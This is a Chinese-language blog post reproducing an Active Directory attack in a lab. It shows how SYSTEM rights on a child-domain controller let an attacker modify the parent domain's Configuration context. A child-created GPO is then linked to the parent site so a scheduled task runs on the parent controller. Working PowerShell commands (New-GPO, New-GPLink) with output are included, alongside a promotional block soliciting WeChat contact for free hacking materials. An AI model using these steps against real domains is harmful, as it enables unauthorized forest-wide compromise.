前言
最近翻閱筆記發現一篇文章提到透過子域的System許可權可以突破獲取到父域許可權,本文將對此技術進行嘗試復現研究。
利用分析
環境資訊:
子域:187、sub.cs.org
父域:197、cs.org
首先透過在子域的域控機器上開啟mmc.exe->連線ADSI->配置來檢視子域的配置命名上下文:
從配置中可以看到配置命名上下文的域名實際上是父域cs.org,因此判斷子域中看到的資訊可能是父域的副本:
繼續檢視配置物件的安全描述符中的ACL,發現子域沒有許可權去變更:
但是可以看到除了域使用者、域管使用者以外,還有一個特權ACL條目叫SYSTEM,該條目擁有完全控制許可權:
SYSTEM屬於一個特殊使用者,不屬於域內使用者,因此理論上只要能做到是SYSTEM許可權就能控制物件條目而不用關注是不是域內管理員。因此嘗試使用SYSTEM許可權繼續開啟配置命名上下文:
可以看到當子域擁有了SYSTEM許可權後就可以修改來自父域副本的配置物件:
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
利用方式
既然可以控制父域的配置命名上下文,那如何利用呢?網上提到有幾種方式,一種是透過GPO、還有的是提到給父域新增一個自己可控的證書模板(ESC1),這裡以GPO組策略為例。先在子域域控上建立一個GPO:
New-GPO jumbo_gpo_test
設定計劃任務:
透過SYSTEM許可權把子域的GPO link到父域:
PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN
HostNane ServerObjectDN
-------- --------------
{} CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org
GpoId : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled : True
Enforced : False
Target : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order : 1
父域重新整理組策略可以看到子域連結過來的GPO:
父域更新組策略成功執行計劃任務notepad.exe:
gpupdate /force
重新整理組策略後透過gpresult /r
命名也可以看到新增的GPO:
總結
本文介紹了除SidHistory
以外還可以透過子域的System許可權進行突破到父域的攻擊手法。
更多網安技能的線上實操練習,請點選這裡>>